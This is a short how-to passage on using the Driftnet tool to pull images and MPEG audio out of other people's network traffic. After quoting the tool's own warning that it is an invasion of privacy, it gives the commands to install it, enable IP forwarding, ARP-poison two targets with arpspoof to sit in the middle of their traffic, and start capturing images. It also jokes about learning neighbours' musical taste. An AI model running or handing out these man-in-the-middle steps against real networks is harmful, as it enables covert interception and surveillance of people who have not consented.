Driftnet watches network traffic, and picks out and displays JPEG and GIF images for display. It is a horrific invasion of privacy and shouldn’t be used by anyone anywhere. It can also extract MPEG audio data from the network and play it. If you live in a house with thick walls, this may be a useful way to find out about your neighbours’ musical taste.
sudo apt-get install driftnet
Preparing the machine
echo 1 > /proc/sys/net/ipv4/ip_forward
As any user we have to create an arp poisoning in two different terminals:
sudo arpspoof -i tap0 -t <target 1 ip> -r <target 2 ip or gateway>
sudo arpspoof -i tap0 -t <target 2 ip or gateway> -r <target 1 ip>
In order to begin collecting images:
sudo driftnet -i <network interface>
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